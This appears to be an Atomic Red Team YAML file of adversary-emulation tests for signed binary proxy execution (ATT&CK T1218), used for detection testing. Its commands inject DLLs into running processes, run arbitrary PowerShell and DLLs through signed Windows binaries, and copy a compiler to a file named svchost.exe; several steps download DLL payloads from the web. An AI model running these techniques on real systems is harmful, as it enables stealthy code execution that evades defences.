attack_technique: T1218
display_name: Signed Binary Proxy Execution
atomic_tests:
- name: mavinject - Inject DLL into running process
  auto_generated_guid: c426dacf-575d-4937-8611-a148a86a5e61
  description: |
    Injects arbitrary DLL into running process specified by process ID. Requires Windows 10.
  supported_platforms:
  - windows
  input_arguments:
    process_id:
      description: PID of process receiving injection
      type: String
      default: "1000"
    dll_payload:
      description: DLL to inject
      type: Path
      default: PathToAtomicsFolder\T1218\src\x64\T1218.dll
  dependency_executor_name: powershell
  dependencies:
  - description: |
      T1218.dll must exist on disk at specified location (#{dll_payload})
    prereq_command: |
      if (Test-Path #{dll_payload}) {exit 0} else {exit 1}
    get_prereq_command: |
      New-Item -Type Directory (split-path #{dll_payload}) -ErrorAction ignore | Out-Null
      Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/x64/T1218.dll" -OutFile "#{dll_payload}"
  executor:
    command: |
      mavinject.exe #{process_id} /INJECTRUNNING #{dll_payload}
    name: command_prompt
    elevation_required: true
- name: SyncAppvPublishingServer - Execute arbitrary PowerShell code
  auto_generated_guid: d590097e-d402-44e2-ad72-2c6aa1ce78b1
  description: |
    Executes arbitrary PowerShell code using SyncAppvPublishingServer.exe. Requires Windows 10.
  supported_platforms:
  - windows
  input_arguments:
    powershell_code:
      description: PowerShell code to execute
      type: String
      default: Start-Process calc.exe
  executor:
    command: |
      SyncAppvPublishingServer.exe "n; #{powershell_code}"
    name: command_prompt
- name: Register-CimProvider - Execute evil dll
  auto_generated_guid: ad2c17ed-f626-4061-b21e-b9804a6f3655
  description: |
    Execute arbitrary dll. Requires at least Windows 8/2012. Also note this dll can be served up via SMB
  supported_platforms:
  - windows
  input_arguments:
    dll_payload:
      description: DLL to execute
      type: Path
      default: PathToAtomicsFolder\T1218\src\Win32\T1218-2.dll
  dependency_executor_name: powershell
  dependencies:
  - description: |
      T1218-2.dll must exist on disk at specified location (#{dll_payload})
    prereq_command: |
      if (Test-Path #{dll_payload}) {exit 0} else {exit 1}
    get_prereq_command: |
      New-Item -Type Directory (split-path #{dll_payload}) -ErrorAction ignore | Out-Null
      Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/Win32/T1218-2.dll" -OutFile "#{dll_payload}"
  executor:
    command: |
      C:\Windows\SysWow64\Register-CimProvider.exe -Path #{dll_payload}
    name: command_prompt
- name: InfDefaultInstall.exe .inf Execution
  auto_generated_guid: 54ad7d5a-a1b5-472c-b6c4-f8090fb2daef
  description: |
    Test execution of a .inf using InfDefaultInstall.exe

    Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Infdefaultinstall.yml
  supported_platforms:
  - windows
  input_arguments:
    inf_to_execute:
      description: Local location of inf file
      type: String
      default: PathToAtomicsFolder\T1218\src\Infdefaultinstall.inf
  dependency_executor_name: powershell
  dependencies:
  - description: |
      INF file must exist on disk at specified location (#{inf_to_execute})
    prereq_command: |
      if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1}
    get_prereq_command: |
      New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-Null
      Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/Infdefaultinstall.inf" -OutFile "#{inf_to_execute}"
  executor:
    command: |
      InfDefaultInstall.exe #{inf_to_execute}
    name: command_prompt
- name: ProtocolHandler.exe Downloaded a Suspicious File
  auto_generated_guid: db020456-125b-4c8b-a4a7-487df8afb5a2
  description: |
    Emulates attack via documents through protocol handler in Microsoft Office.  On successful execution you should see Microsoft Word launch a blank file.
  supported_platforms:
    - windows
  input_arguments:
    remote_url:
      description: url to document
      type: Url
      default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218/src/T1218Test.docx
  dependency_executor_name: powershell 
  dependencies: 
    - description: |
        Microsoft Word must be installed with the correct path and protocolhandler.exe must be provided
      prereq_command: | 
        if (Test-Path "(Resolve-Path "C:\Program Files*\Microsoft Office\root\Office16")\protocolhandler.exe") {exit 0} else {exit 1}
      get_prereq_command: | 
        write-host "Install Microsoft Word or provide correct path."
  executor:
    name: command_prompt
    elevation_required: false
    command: |
      FOR /F "tokens=2*" %a in ('reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Winword.exe" /V PATH') do set microsoft_wordpath=%b
      call "%microsoft_wordpath%\protocolhandler.exe" "ms-word:nft|u|#{remote_url}"
- name: Microsoft.Workflow.Compiler.exe Payload Execution
  auto_generated_guid: 7cbb0f26-a4c1-4f77-b180-a009aa05637e
  description: |
    Emulates attack with Microsoft.Workflow.Compiler.exe running a .Net assembly that launches calc.exe
  supported_platforms:
    - windows
  input_arguments:
    xml_payload:
      description: XML to execution
      type: Path
      default: PathToAtomicsFolder\T1218\src\T1218.xml
    mwcpath:
      description: Default location of Microsoft.Workflow.Compiler.exe
      type: Path
      default: C:\Windows\Microsoft.NET\Framework64\v4.0.30319
    mwcname:
      description: Default name of microsoft.workflow.compiler.exe
      type: Path
      default: microsoft.workflow.compiler.exe
  dependency_executor_name: powershell 
  dependencies: 
    - description: |
        .Net must be installed for this test to work correctly.
      prereq_command: | 
        if (Test-Path #{mwcpath}\#{mwcname} ) {exit 0} else {exit 1}
      get_prereq_command: | 
        write-host ".Net must be installed for this test to work correctly."
  executor:
    command: |
      #{mwcpath}\#{mwcname} "#{xml_payload}" output.txt
    name: powershell
    elevation_required: false
- name: Renamed Microsoft.Workflow.Compiler.exe Payload Executions
  auto_generated_guid: 4cc40fd7-87b8-4b16-b2d7-57534b86b911
  description: |
    Emulates attack with a renamed Microsoft.Workflow.Compiler.exe running a .Net assembly that launches calc.exe
  supported_platforms:
    - windows
  input_arguments:
    xml_payload:
      description: XML to execution
      type: Path
      default: PathToAtomicsFolder\T1218\src\T1218.xml
    renamed_binary:
      description: renamed Microsoft.Workflow.Compiler
      type: Path
      default: PathToAtomicsFolder\T1218\src\svchost.exe
    mwcpath:
      description: Default location of Microsoft.Workflow.Compiler.exe
      type: Path
      default: C:\Windows\Microsoft.NET\Framework64\v4.0.30319
    mwcname:
      description: Default name of microsoft.workflow.compiler.exe
      type: Path
      default: microsoft.workflow.compiler.exe
  dependency_executor_name: powershell 
  dependencies: 
    - description: |
        .Net must be installed for this test to work correctly.
      prereq_command: | 
        Copy-Item #{mwcpath}\#{mwcname} "#{renamed_binary}" -Force
        if (Test-Path "#{renamed_binary}") {exit 0} else {exit 1}
      get_prereq_command: | 
        write-host "you need to rename workflow complier before you run this test"
  executor:
    command: |
      #{renamed_binary} #{xml_payload} output.txt
    name: powershell
    elevation_required: false
- name: Invoke-ATHRemoteFXvGPUDisablementCommand base test
  auto_generated_guid: 9ebe7901-7edf-45c0-b5c7-8366300919db
  description: |
    RemoteFXvGPUDisablement.exe is an abusable, signed PowerShell host executable that was introduced in Windows 10 and Server 2019 (OS Build 17763.1339).

    One of the PowerShell functions called by RemoteFXvGPUDisablement.exe is Get-VMRemoteFXPhysicalVideoAdapter, a part of the Hyper-V module. This atomic test influences RemoteFXvGPUDisablement.exe to execute custom PowerShell code by using a technique referred to as "PowerShell module load-order hijacking" where a module containing, in this case, an implementation of the Get-VMRemoteFXPhysicalVideoAdapter is loaded first by way of introducing a temporary module into the first directory listed in the %PSModulePath% environment variable or within a user-specified module directory outside of %PSModulePath%. Upon execution the temporary module is deleted.

    Invoke-ATHRemoteFXvGPUDisablementCommand is used in this test to demonstrate how a PowerShell host executable can be directed to user-supplied PowerShell code without needing to supply anything at the command-line. PowerShell code execution is triggered when supplying the "Disable" argument to RemoteFXvGPUDisablement.exe.
    
    The Invoke-ATHRemoteFXvGPUDisablementCommand function outputs all relevant execution-related artifacts.
    
    Reference: https://github.com/redcanaryco/AtomicTestHarnesses/blob/master/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1
  supported_platforms:
  - windows
  input_arguments:
    module_name:
      description: Specifies a temporary module name to use. If -ModuleName is not supplied, a 16-character random temporary module name is used. A PowerShell module can have any name. Because Get-VMRemoteFXPhysicalVideoAdapter abuses module load order, a module name must be specified.
      type: String
      default: foo
    module_path:
      description: Specifies an alternate, non-default PowerShell module path for RemoteFXvGPUDisablement.exe. If -ModulePath is not specified, the first entry in %PSModulePath% will be used. Typically, this is %USERPROFILE%\Documents\WindowsPowerShell\Modules.
      type: String
      default: $PWD
  dependencies:
  - description: The AtomicTestHarnesses module must be installed and Invoke-ATHRemoteFXvGPUDisablementCommand must be exported in the module.
    prereq_command: |-
      $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
      if (-not $RequiredModule) {exit 1}
      if (-not $RequiredModule.ExportedCommands['Invoke-ATHRemoteFXvGPUDisablementCommand']) {exit 1} else {exit 0}
    get_prereq_command: |
      Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force
  executor:
    command: 'Invoke-ATHRemoteFXvGPUDisablementCommand -ModuleName #{module_name} -ModulePath #{module_path}'
    name: powershell
